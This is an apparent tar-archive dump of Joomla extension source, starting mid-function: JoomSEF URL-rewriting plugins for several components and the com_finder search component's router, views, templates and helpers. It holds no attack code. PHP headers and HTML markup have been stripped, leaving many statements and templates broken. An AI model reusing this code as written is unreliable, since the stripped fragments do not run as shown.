break; case 'alphaindex': /* if(isset($app_id)) { $title[] = $this->getApplicationTitle($app_id); } */ if(isset($alpha_char)){ $title[] = JText::_('Index'); $title[] = $alpha_char; } unset($task); break; case 'save': $title[] = JText::_('Save'); unset($task); break; case 'twitterconnect': $title[] = JText::_('Twitter'); unset($task); break; case 'feed': if (isset($type)) { $title[] = $type; } unset($task); break; default: $title[] = $task; unset($task); } } if (isset($tag)) { if ($this->params->get('tag_text_inc', '0') == '1') { $title[] = JText::_('Tag'); } $title[] = $tag; unset($tag); } if(isset($controller)){ $title[] = $controller; unset($controller); } if(isset($page) && ($this->params->get('nonsef_page', '0') == '0')) { $sefConfig = SEFConfig::getConfig(); $cnfPageText = $sefConfig->getPageText(); $title[] = str_replace('%s', $page, $cnfPageText); unset($page); } /* } else { // Version 1 if(!empty($catalog_id)) { $title[] = $this->getCatalogTitleOld($catalog_id); } if(!empty($category_id)) { $title = array_merge( $title, $this->getCategoryTitleOld($category_id)); } if(!empty($item_id)) { $title[] = $this->getItemTitleOld($item_id); } if(isset($view)) { switch($view) { case 'category': if(isset($alpha_char)){ $title[] = JText::_('INDEX'); $title[] = $alpha_char; } unset($view); break; case 'item': unset($view); break; case 'element': if(isset($method) && $method=='download') $title[] = JText::_('DOWNLOAD'); unset($view); unset($method); unset($format); unset($task); unset($element); break; default: $title[] = $view; unset($view); } } if(isset($page)) { $segments[] = $page; unset($page); } } */ // Generate meta tags $metatags = $this->getMetaTags(); if (isset($this->metatitle) && ($this->params->get('meta_title', '1') == '1')) { $metatags['metatitle'] = $this->metatitle; } $newUri = $uri; if (count($title) > 0) { $this->_createNonSefVars($uri); $newUri = JoomSEF::_sefGetLocation($uri, $title, @$task, @$limit, @$limitstart, @$lang, $this->nonSefVars, null, $metatags); } return $newUri; } } ?> com_sef/sef_ext/com_tags.xml000066600000004437150771500630012152 0ustar00 Tags ARTIO s.r.o. 12. November 2015 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.1 Adds SEO support for Tags component. com_tags.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_tags.xml
    com_sef/sef_ext/com_mailto.php000066600000003020150771500630012453 0ustar00_createNonSefVars($uri); return array($this->nonSefVars, $this->ignoreVars); } function _createNonSefVars(&$uri) { if (isset($this->nonSefVars) && isset($this->ignoreVars)) return; $this->nonSefVars = array(); $this->ignoreVars = array(); if (!is_null($uri->getVar('link'))) $this->ignoreVars['link'] = $uri->getVar('link'); } function create(&$uri) { $sefConfig = SEFConfig::getConfig(); $params = SEFTools::GetExtParams('com_content'); $vars = $uri->getQuery(true); extract($vars); // Set title. $title = array(); $lang = null; $title[] = JoomSEF::_getMenuTitleLang(@$option, $lang, @$Itemid); if (!empty($tmpl)) { $title[] = $tmpl; } $newUri = $uri; if (count($title) > 0) { $this->_createNonSefVars($uri); $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $lang, null, $this->ignoreVars); } return $newUri; } } com_sef/sef_ext/com_banners.php000066600000004464150771500630012633 0ustar00params, 'banner_alias') ) { $field = 'alias'; } $id = intval($id); $query = "SELECT id, `$field` AS `name`, `language` FROM `#__banners` WHERE `id` = '{$id}'"; $database->setQuery($query); $row = $database->loadObject('stdClass',$this->config->translateItems); if (is_null($row)) { JoomSefLogger::Log("Banner with ID {$id} could not be found.", $this, 'com_banners'); return ''; } $this->lang = $row->language; $name = isset($row->name) ? $row->name : ''; if( $this->params->get('banner_id', '0') ) { $name = $id . '-' . $name; } return $name; } function create(&$uri) { $sefConfig = SEFConfig::getConfig(); $this->params =& SEFTools::getExtParams('com_banners'); $vars = $uri->getQuery(true); extract($vars); $lng = null; $title[] = JoomSEF::_getMenuTitleLang($option, $lng, isset($Itemid) ? $Itemid : null); switch(@$task) { case 'click': $title[] = $this->GetBannerName($id); unset($task); break; } $newUri = $uri; if(isset($this->lang)) { $lang=$this->lang; } if (count($title) > 0) $newUri = JoomSEF::_sefGetLocation($uri, $title, @$task, null, null, @$lang); return $newUri; } function getURLPatterns($item) { $urls=array(); $urls[]='index\.php\?option=com_banners&id='.$item->id.'&task=click'; return $urls; } } ?>com_sef/sef_ext/com_zoo.xml000066600000034226150771500630012022 0ustar00 Zoo ARTIO s.r.o. 16. January 2013 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net http://www.artio.net/e-shop/joomsef/joomsef-extensions/joomsef-4-x-compatible/zoo-joomsef-4-extension 3.0.8 ARTIO JoomSEF extension for Zoo component (Joomla! 1.6). com_zoo.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_zoo.xml
    com_sef/sef_ext/com_users.xml000066600000002312150771500630012343 0ustar00 Users ARTIO s.r.o. 10. January 2012 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.3 Adds SEO support for User component. com_user.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_users.xml
    com_sef/sef_ext/com_search.php000066600000007247150771500630012452 0ustar00getVar('ordering', null); if ($ord == '') { $uri->delVar('ordering'); } $ph = $uri->getVar('searchphrase', null); if ($ph == 'all') { $uri->delVar('searchphrase'); } if (is_null($uri->getVar('view'))) { $uri->setVar('view', 'search'); } } function getNonSefVars(&$uri) { $this->_createNonSefVars($uri); return array($this->nonSefVars, $this->ignoreVars); } function _createNonSefVars(&$uri) { $this->nonSefVars = array(); $this->ignoreVars = array(); if (!is_null($uri->getVar('ordering'))) $this->nonSefVars['ordering'] = $uri->getVar('ordering'); if (!is_null($uri->getVar('searchphrase'))) $this->nonSefVars['searchphrase'] = $uri->getVar('searchphrase'); if (!is_null($uri->getVar('submit'))) $this->nonSefVars['submit'] = $uri->getVar('submit'); if (!is_null($uri->getVar('limit'))) $this->nonSefVars['limit'] = $uri->getVar('limit'); if (!is_null($uri->getVar('limitstart'))) $this->nonSefVars['limitstart'] = $uri->getVar('limitstart'); if (!is_null($uri->getVar('areas'))) $this->nonSefVars['areas'] = $uri->getVar('areas'); if (!is_null($uri->getVar('searchword')) && ($this->params->get('nonsefphrase', '1') == '1')) $this->nonSefVars['searchword'] = $uri->getVar('searchword'); } function create(&$uri) { $vars = $uri->getQuery(true); extract($vars); // Don't SEF opensearch links if (isset($format) && ($format == 'opensearch')) { return $uri; } $this->params =& SEFTools::getExtParams('com_search'); $newUri = $uri; if (!(isset($task) ? @$task : null)) { $title[] = JoomSEF::_getMenuTitleLang($option, $lang, @$Itemid); if( isset($searchword) && ($this->params->get('nonsefphrase', '1') != '1') ) { $title[] = $searchword; } if (isset($view) && ($view != 'search' || $this->params->get('add_search', '0') == '1')) { $title[] = $view; } if (isset($format)) { $title[] = $format; } $this->_createNonSefVars($uri); if (!isset($searchword) || ($this->params->get('nonsefphrase', '1') != '1') ) { // Generate meta tags $desc = array(); if( isset($searchword) ) { $desc[] = $searchword; } if( isset($searchphrase) ) { $desc[] = $searchphrase; } $this->metadesc = implode(', ',$desc); unset($desc); } $metatags = $this->getMetaTags(); $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang, $this->nonSefVars, null, $metatags, null, true); } return $newUri; } } ?>com_sef/sef_ext/com_newsfeeds.php000066600000015226150771500630013164 0ustar00getVar('id'))) { SEFTools::fixVariable($uri, 'id'); } if (!is_null($uri->getVar('catid'))) { SEFTools::fixVariable($uri, 'catid'); } if($uri->getVar('view') == 'categories' && ! (int) $uri->getVar('id')) { $uri->delVar('id'); } if (is_null($uri->getVar('view'))) { $uri->setVar('view', 'categories'); } return; } function getFeedTitle($id) { $title=array(); $field = 'name'; if( SEFTools::UseAlias($this->params, 'feed_alias') ) { $field = 'alias'; } $id = intval($id); $query="SELECT `id`, `$field` AS `name`, `catid`, `language`, `metadesc`, `metakey`, `metadata` FROM `#__newsfeeds` WHERE `id` = '{$id}'"; $this->_db->setQuery($query); $row = $this->_db->loadObject('stdClass',$this->config->translateItems); if (is_null($row)) { JoomSefLogger::Log("Feed with ID {$id} could not be found.", $this, 'com_newsfeeds'); return array(); } if($this->params->get('show_category',2)!=0) { $catInfo = $this->getCategoryInfo($row->catid); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$row->catid} could not be found.", $this, 'com_newsfeeds'); } if (is_array($catInfo->path)) { $title = array_merge($title, $catInfo->path); } } $this->getMetaData($row); $title[] = (($this->params->get('feedid', '0')==0)?'':($id.'-')).$row->name; return $title; } function create(&$uri) { $sefConfig = SEFConfig::getConfig(); $database = JFactory::getDBO(); $vars = $uri->getQuery(true); extract($vars); $title = array(); $title[] = JoomSEF::_getMenuTitleLang($option, $this->lang); switch (@$view) { case 'categories': break; case 'category': $catInfo = $this->getCategoryInfo($id); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$id} could not be found.", $this, 'com_newsfeeds'); } if (is_array($catInfo->path)) { $title = array_merge($title, $catInfo->path); } break; case 'newsfeed': $title=array_merge($title,$this->getFeedTitle($id)); break; } if (isset($format)) { if ($format == 'feed' && isset($type)) { $title[] = $type; } else { $title[] = $format; } } $newUri = $uri; if (count($title) > 0) { // Generate meta tags $this->metatags = $this->getMetaTags(); $priority = $this->getPriority($uri); $sitemap = $this->getSitemapParams($uri); if(isset($this->lang)) { $lang=$this->lang; } $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang, null, null, $this->metatags, $priority, false, null, $sitemap); } return $newUri; } function getSitemapParams(&$uri) { if ($uri->getVar('format', 'html') != 'html') { // Handle only html links return array(); } $view = $uri->getVar('view'); $sm = array(); switch ($view) { case 'newsfeed': case 'category': case 'categories': if ($view == 'categories') $view = 'category'; $indexed = $this->params->get('sm_'.$view.'_indexed', '1'); $freq = $this->params->get('sm_'.$view.'_freq', ''); $priority = $this->params->get('sm_'.$view.'_priority', ''); if (!empty($indexed)) $sm['indexed'] = $indexed; if (!empty($freq)) $sm['frequency'] = $freq; if (!empty($priority)) $sm['priority'] = $priority; break; } return $sm; } function getPriority(&$uri) { $itemid = $uri->getVar('Itemid'); $view = $uri->getVar('view'); switch($view) { case 'newsfeed': if (is_null($itemid)) { return _COM_SEF_PRIORITY_NEWSFEEDS_FEED; } else { return _COM_SEF_PRIORITY_NEWSFEEDS_FEED_ITEMID; } break; case 'category': if (is_null($itemid)) { return _COM_SEF_PRIORITY_NEWSFEEDS_CATEGORY; } else { return _COM_SEF_PRIORITY_NEWSFEEDS_CATEGORY_ITEMID; } break; default: return null; } } function getURLPatterns($item) { $urls=array(); if($item->getTableName()=='#__categories') { // Category view $urls[]='index\.php\?option=com_newsfeeds&id='.$item->id.'&'; // Content View $urls[]='index\.php\?option=com_newsfeeds&catid='.$item->id.'&id='; $tree=$item->getTree($item->id); foreach($tree as $catitem) { $urls[]='index\.php\?option=com_newsfeeds&id='.$catitem->id.'&'; $urls[]='index\.php\?option=com_newsfeeds&catid='.$catitem->id.'&id='; } } else { $urls[]='index\.php\?option=com_newsfeeds(&catid=([0-9])*)*&id='.$item->id.'(&lang=[a-z]+)?&view='; } return $urls; } } ?>com_finder/router.php000066600000006705150771500630010722 0ustar00getMenu(); } /* * First, handle menu item routes first. When the menu system builds a * route, it only provides the option and the menu item id. We don't have * to do anything to these routes. */ if (count($query) === 2 && isset($query['Itemid']) && isset($query['option'])) { return $segments; } /* * Next, handle a route with a supplied menu item id. All system generated * routes should fall into this group. We can assume that the menu item id * is the best possible match for the query but we need to go through and * see which variables we can eliminate from the route query string because * they are present in the menu item route already. */ if (!empty($query['Itemid'])) { // Get the menu item. $item = $menu->getItem($query['Itemid']); // Check if the view matches. if ($item && @$item->query['view'] === @$query['view']) { unset($query['view']); } // Check if the search query filter matches. if ($item && @$item->query['f'] === @$query['f']) { unset($query['f']); } // Check if the search query string matches. if ($item && @$item->query['q'] === @$query['q']) { unset($query['q']); } return $segments; } /* * Lastly, handle a route with no menu item id. Fortunately, we only need * to deal with the view as the other route variables are supposed to stay * in the query string. */ if (isset($query['view'])) { // Add the view to the segments. $segments[] = $query['view']; unset($query['view']); } $total = count($segments); for ($i = 0; $i < $total; $i++) { $segments[$i] = str_replace(':', '-', $segments[$i]); } return $segments; } /** * Parse the segments of a URL. * * @param array &$segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { $total = count($segments); $vars = array(); for ($i = 0; $i < $total; $i++) { $segments[$i] = preg_replace('/-/', ':', $segments[$i], 1); } // Check if the view segment is set and it equals search or advanced. if (@$segments[0] === 'search' || @$segments[0] === 'advanced') { $vars['view'] = $segments[0]; } return $vars; } } /** * Finder router functions * * These functions are proxys for the new router interface * for old SEF extensions. * * @deprecated 4.0 Use Class based routers instead */ function FinderBuildRoute(&$query) { $router = new FinderRouter; return $router->build($query); } function FinderParseRoute($segments) { $router = new FinderRouter; return $router->parse($segments); } com_finder/views/index.html000066600000000036150771500630012012 0ustar00com_finder/views/search/view.html.php000066600000015130150771500630013711 0ustar00getParams(); // Get view data. $state = $this->get('State'); $query = $this->get('Query'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderQuery') : null; $results = $this->get('Results'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderResults') : null; $total = $this->get('Total'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderTotal') : null; $pagination = $this->get('Pagination'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderPagination') : null; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Configure the pathway. if (!empty($query->input)) { $app->getPathWay()->addItem($this->escape($query->input)); } // Push out the view data. $this->state = &$state; $this->params = &$params; $this->query = &$query; $this->results = &$results; $this->total = &$total; $this->pagination = &$pagination; // Check for a double quote in the query string. if (strpos($this->query->input, '"')) { // Get the application router. $router =& $app->getRouter(); // Fix the q variable in the URL. if ($router->getVar('q') !== $this->query->input) { $router->setVar('q', $this->query->input); } } // Log the search JSearchHelper::logSearch($this->query->input, 'com_finder'); // Push out the query data. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); $this->suggested = JHtml::_('query.suggested', $query); $this->explained = JHtml::_('query.explained', $query); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); // Check for layout override only if this is not the active menu item // If it is the active menu item, then the view and category id will match $active = $app->getMenu()->getActive(); if (isset($active->query['layout'])) { // We need to set the layout in case this is an alternative menu item (with an alternative layout) $this->setLayout($active->query['layout']); } $this->prepareDocument($query); JDEBUG ? $GLOBALS['_PROFILER']->mark('beforeFinderLayout') : null; parent::display($tpl); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderLayout') : null; } /** * Method to get hidden input fields for a get form so that control variables * are not lost upon form submission * * @return string A string of hidden input form fields * * @since 2.5 */ protected function getFields() { $fields = null; // Get the URI. $uri = JUri::getInstance(JRoute::_($this->query->toURI())); $uri->delVar('q'); $uri->delVar('o'); $uri->delVar('t'); $uri->delVar('d1'); $uri->delVar('d2'); $uri->delVar('w1'); $uri->delVar('w2'); $elements = $uri->getQuery(true); // Create hidden input elements for each part of the URI. foreach ($elements as $n => $v) { if (is_scalar($v)) { $fields .= ''; } } return $fields; } /** * Method to get the layout file for a search result object. * * @param string $layout The layout file to check. [optional] * * @return string The layout file to use. * * @since 2.5 */ protected function getLayoutFile($layout = null) { // Create and sanitize the file name. $file = $this->_layout . '_' . preg_replace('/[^A-Z0-9_\.-]/i', '', $layout); // Check if the file exists. jimport('joomla.filesystem.path'); $filetofind = $this->_createFileName('template', array('name' => $file)); $exists = JPath::find($this->_path['template'], $filetofind); return ($exists ? $layout : 'result'); } /** * Prepares the document * * @param FinderIndexerQuery $query The search query * * @return void * * @since 2.5 */ protected function prepareDocument($query) { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_FINDER_DEFAULT_PAGE_TITLE')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($layout = $this->params->get('article_layout')) { $this->setLayout($layout); } // Configure the document meta-description. if (!empty($this->explained)) { $explained = $this->escape(html_entity_decode(strip_tags($this->explained), ENT_QUOTES, 'UTF-8')); $this->document->setDescription($explained); } // Configure the document meta-keywords. if (!empty($query->highlight)) { $this->document->setMetadata('keywords', implode(', ', $query->highlight)); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } // Add feed link to the document head. if ($this->params->get('show_feed_link', 1) == 1) { // Add the RSS link. $props = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $route = JRoute::_($this->query->toURI() . '&format=feed&type=rss'); $this->document->addHeadLink($route, 'alternate', 'rel', $props); // Add the ATOM link. $props = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $route = JRoute::_($this->query->toURI() . '&format=feed&type=atom'); $this->document->addHeadLink($route, 'alternate', 'rel', $props); } } } com_finder/views/search/tmpl/default_form.php000066600000007152150771500630015424 0ustar00 com_finder/views/search/tmpl/default.php000066600000002202150771500630014370 0ustar00
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading'))) : ?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

    params->get('show_search_form', 1)) : ?>
    loadTemplate('form'); ?>
    query->search === true): ?>
    loadTemplate('results'); ?>
    com_finder/views/search/tmpl/default.xml000066600000014770150771500630014416 0ustar00
    com_finder/views/search/tmpl/index.html000066600000000036150771500630014233 0ustar00com_finder/views/search/tmpl/default_results.php000066600000005565150771500630016170 0ustar00query->highlight) && $this->params->get('highlight_terms', 1)) { JHtml::_('behavior.highlighter', $this->query->highlight); } // Get the application object. $app = JFactory::getApplication(); // Display the suggested search if it is different from the current search. if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))): ?>
    suggested && $this->params->get('show_suggested_query', 1)) { // Replace the base query string with the suggested query string. $uri = JUri::getInstance($this->query->toURI()); $uri->setVar('q', $this->suggested); // Compile the suggested query link. $link = '' . $this->escape($this->suggested) . ''; echo JText::sprintf('COM_FINDER_SEARCH_SIMILAR', $link); } // Display the explained search query. elseif ($this->explained && $this->params->get('show_explained_query', 1)) { echo $this->explained; } ?>
    total == 0): ?>

    getLanguageFilter()) : ?>

    escape($this->query->input)); ?>

    escape($this->query->input)); ?>

    pagination->get('limitstart') + 1; $total = (int) $this->pagination->get('total'); $limit = (int) $this->pagination->get('limit') * $this->pagination->pagesTotal; $limit = (int) ($limit > $total ? $total : $limit); $pages = JText::sprintf('COM_FINDER_SEARCH_RESULTS_OF', $start, $limit, $total); ?>
      results); $i < $n; $i++): $this->result = &$this->results[$i]; $layout = $this->getLayoutFile($this->result->layout); ?> loadTemplate($layout); ?>

    result->mime) ? 'mime-' . $this->result->mime : null; // Get the base url. $base = JUri::getInstance()->toString(array('scheme', 'host', 'port')); // Get the route with highlighting information. if (!empty($this->query->highlight) && empty($this->result->mime) && $this->params->get('highlight_terms', 1) && JPluginHelper::isEnabled('system', 'highlight')) { $route = $this->result->route . '&highlight=' . base64_encode(json_encode($this->query->highlight)); } else { $route = $this->result->route; } ?>
  • result->title; ?>

    params->get('show_description', 1)) : ?>

    result->description, $this->params->get('description_length', 255)); ?>

    params->get('show_url', 1)) : ?>
    result->route); ?>
  • com_finder/views/search/metadata.xml000066600000000272150771500630013566 0ustar00 com_finder/views/search/index.html000066600000000036150771500630013257 0ustar00com_finder/views/search/view.opensearch.php000066600000002614150771500630015077 0ustar00setShortName($params->get('opensearch_name', $app->getCfg('sitename'))); $doc->setDescription($params->get('opensearch_description', $app->getCfg('MetaDesc'))); // Add the URL for the search $searchUri = JUri::base() . 'index.php?option=com_finder&q={searchTerms}'; // Find the menu item for the search $menu = $app->getMenu(); $items = $menu->getItems('link', 'index.php?option=com_finder&view=search'); if (isset($items[0])) { $searchUri .= '&Itemid=' . $items[0]->id; } $htmlSearch = new JOpenSearchUrl; $htmlSearch->template = JRoute::_($searchUri); $doc->addUrl($htmlSearch); } } com_finder/views/search/view.feed.php000066600000005155150771500630013656 0ustar00input->set('limit', $app->getCfg('feed_limit')); // Get view data. $state = $this->get('State'); $params = $state->get('params'); $query = $this->get('Query'); $results = $this->get('Results'); // Push out the query data. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); $explained = JHtml::_('query.explained', $query); // Set the document title. $title = $params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); // Configure the document description. if (!empty($explained)) { $this->document->setDescription(html_entity_decode(strip_tags($explained), ENT_QUOTES, 'UTF-8')); } // Set the document link. $this->document->link = JRoute::_($query->toURI()); // If we don't have any results, we are done. if (empty($results)) { return; } // Convert the results to feed entries. foreach ($results as $result) { // Convert the result to a feed entry. $item = new JFeedItem; $item->title = $result->title; $item->link = JRoute::_($result->route); $item->description = $result->description; $item->date = (int) $result->start_date ? JHtml::date($result->start_date, 'l d F Y') : $result->indexdate; // Get the taxonomy data. $taxonomy = $result->getTaxonomy(); // Add the category to the feed if available. if (isset($taxonomy['Category'])) { $node = array_pop($taxonomy['Category']); $item->category = $node->title; } // Loads item info into RSS array $this->document->addItem($item); } } } com_finder/index.html000066600000000036150771500630010655 0ustar00com_finder/finder.php000066600000000725150771500630010645 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_finder/controller.php000066600000003063150771500630011557 0ustar00input; $cachable = true; // Load plug-in language files. FinderHelperLanguage::loadPluginLanguage(); // Set the default view name and format from the Request. $viewName = $input->get('view', 'search', 'word'); $input->set('view', $viewName); // Don't cache view for search queries if ($input->get('q') || $input->get('f') || $input->get('t')) { $cachable = false; } $safeurlparams = array( 'f' => 'INT', 'lang' => 'CMD' ); return parent::display($cachable, $safeurlparams); } } com_finder/controllers/index.html000066600000000036150771500630013223 0ustar00com_finder/controllers/suggestions.json.php000066600000002476150771500630015273 0ustar00get('show_autosuggest', 1)) { // Get the suggestions. $model = $this->getModel('Suggestions', 'FinderModel'); $return = $model->getItems(); } // Check the data. if (empty($return)) { $return = array(); } // Use the correct json mime-type header('Content-Type: application/json'); // Send the response. echo json_encode($return); JFactory::getApplication()->close(); } } com_finder/helpers/html/index.html000066600000000036150771500630013263 0ustar00com_finder/helpers/html/query.php000066600000010561150771500630013150 0ustar00included as $token) { if ($token->required && (!isset($token->derived) || $token->derived == false)) { $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TOKEN_REQUIRED', $token->term) . ''; } } // Process the optional tokens. foreach ($query->included as $token) { if (!$token->required && (!isset($token->derived) || $token->derived == false)) { $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TOKEN_OPTIONAL', $token->term) . ''; } } // Process the excluded tokens. foreach ($query->excluded as $token) { if (!isset($token->derived) || $token->derived == false) { $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TOKEN_EXCLUDED', $token->term) . ''; } } // Process the start date. if ($query->date1) { $date = JFactory::getDate($query->date1)->format(JText::_('DATE_FORMAT_LC')); $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_START_DATE', $query->when1, $date) . ''; } // Process the end date. if ($query->date2) { $date = JFactory::getDate($query->date2)->format(JText::_('DATE_FORMAT_LC')); $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_END_DATE', $query->when2, $date) . ''; } // Process the taxonomy filters. if (!empty($query->filters)) { // Get the filters in the request. $t = JFactory::getApplication()->input->request->get('t', array(), 'array'); // Process the taxonomy branches. foreach ($query->filters as $branch => $nodes) { // Process the taxonomy nodes. $lang = JFactory::getLanguage(); foreach ($nodes as $title => $id) { // Translate the title for Types $key = FinderHelperLanguage::branchPlural($title); if ($lang->hasKey($key)) { $title = JText::_($key); } // Don't include the node if it is not in the request. if (!in_array($id, $t)) { continue; } // Add the node to the explanation. $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TAXONOMY_NODE', $title, JText::_(FinderHelperLanguage::branchSingular($branch))) . ''; } } } // Build the interpreted query. return count($parts) ? JText::sprintf('COM_FINDER_QUERY_TOKEN_INTERPRETED', implode(JText::_('COM_FINDER_QUERY_TOKEN_GLUE'), $parts)) : null; } /** * Method to get the suggested search query. * * @param FinderIndexerQuery $query A FinderIndexerQuery object. * * @return mixed String if there is a suggestion, false otherwise. * * @since 2.5 */ public static function suggested(FinderIndexerQuery $query) { $suggested = false; // Check if the query input is empty. if (empty($query->input)) { return $suggested; } // Check if there were any ignored or included keywords. if (count($query->ignored) || count($query->included)) { $suggested = $query->input; // Replace the ignored keyword suggestions. foreach (array_reverse($query->ignored) as $token) { if (isset($token->suggestion)) { $suggested = str_ireplace($token->term, $token->suggestion, $suggested); } } // Replace the included keyword suggestions. foreach (array_reverse($query->included) as $token) { if (isset($token->suggestion)) { $suggested = str_ireplace($token->term, $token->suggestion, $suggested); } } // Check if we made any changes. if ($suggested == $query->input) { $suggested = false; } } return $suggested; } } com_finder/helpers/html/filter.php000066600000034730150771500630013274 0ustar00getQuery(true); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $html = ''; $filter = null; // Get the configuration options. $filterId = array_key_exists('filter_id', $options) ? $options['filter_id'] : null; $activeNodes = array_key_exists('selected_nodes', $options) ? $options['selected_nodes'] : array(); $classSuffix = array_key_exists('class_suffix', $options) ? $options['class_suffix'] : ''; $loadMedia = array_key_exists('load_media', $options) ? $options['load_media'] : true; // Load the predefined filter if specified. if (!empty($filterId)) { $query->select('f.data, f.params') ->from($db->quoteName('#__finder_filters') . ' AS f') ->where('f.filter_id = ' . (int) $filterId); // Load the filter data. $db->setQuery($query); try { $filter = $db->loadObject(); } catch (RuntimeException $e) { return null; } // Initialize the filter parameters. if ($filter) { $registry = new JRegistry; $registry->loadString($filter->params); $filter->params = $registry; } } // Build the query to get the branch data and the number of child nodes. $query->clear() ->select('t.*, count(c.id) AS children') ->from($db->quoteName('#__finder_taxonomy') . ' AS t') ->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id') ->where('t.parent_id = 1') ->where('t.state = 1') ->where('t.access IN (' . $groups . ')') ->where('c.state = 1') ->where('c.access IN (' . $groups . ')') ->group('t.id, t.parent_id, t.state, t.access, t.ordering, t.title, c.parent_id') ->order('t.ordering, t.title'); // Limit the branch children to a predefined filter. if ($filter) { $query->where('c.id IN(' . $filter->data . ')'); } // Load the branches. $db->setQuery($query); try { $branches = $db->loadObjectList('id'); } catch (RuntimeException $e) { return null; } // Check that we have at least one branch. if (count($branches) === 0) { return null; } // Load the CSS/JS resources. if ($loadMedia) { JHtml::_('stylesheet', 'com_finder/sliderfilter.css', false, true, false); JHtml::_('script', 'com_finder/sliderfilter.js', false, true); } // Load plug-in language files. FinderHelperLanguage::loadPluginLanguage(); // Start the widget. $html .= '
    '; $html .= '
    '; $html .= '
    '; $html .= ''; $html .= '
    '; $html .= '
    '; // Iterate through the branches to build the branch selector. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } $html .= ''; } $html .= '
    '; $html .= '
    '; $html .= '
    '; // Iterate through the branches and build the branch groups. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } // Build the query to get the child nodes for this branch. $query->clear() ->select('t.*') ->from($db->quoteName('#__finder_taxonomy') . ' AS t') ->where('t.parent_id = ' . (int) $bk) ->where('t.state = 1') ->where('t.access IN (' . $groups . ')') ->order('t.ordering, t.title'); // Load the branches. $db->setQuery($query); try { $nodes = $db->loadObjectList('id'); } catch (RuntimeException $e) { return null; } // Translate node titles if possible. $lang = JFactory::getLanguage(); foreach ($nodes as $nk => $nv) { $key = FinderHelperLanguage::branchPlural($nv->title); if ($lang->hasKey($key)) { $nodes[$nk]->title = JText::_($key); } } // Start the group. $html .= '
    '; $html .= '
    '; $html .= ''; $html .= '
    '; $html .= '
    '; // Populate the group with nodes. foreach ($nodes as $nk => $nv) { // Determine if the node should be checked. $checked = in_array($nk, $activeNodes) ? ' checked="checked"' : ''; // Build a node. $html .= ''; } // Close the group. $html .= '
    '; $html .= '
    '; } // Close the widget. $html .= '
    '; $html .= '
    '; $html .= '
